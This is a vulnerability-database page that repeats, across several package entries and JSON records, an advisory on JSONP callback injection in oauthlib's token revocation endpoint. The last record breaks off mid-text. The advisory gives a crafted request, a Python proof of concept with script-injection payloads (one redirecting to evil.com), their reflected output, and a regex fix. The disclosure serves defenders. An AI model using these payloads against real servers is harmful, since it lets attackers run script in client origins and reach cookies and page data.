if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "sickchill",
"purl": "pkg:brew/sickchill"
},
"ranges": [
{
"events": [
{
"introduced": "2023.5.30"
},
{
"fixed": "2024.3.1_9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-sickchill-CVE-2026-49264",
"modified": "2026-10-14T09:01:31Z",
"published": "2026-09-30T19:29:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-SNAPCRAFT-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 21:12 – Updated: 2026-10-14 10:15 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "snapcraft",
"purl": "pkg:brew/snapcraft"
},
"ranges": [
{
"events": [
{
"introduced": "3.9"
},
{
"fixed": "9.1.3_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n 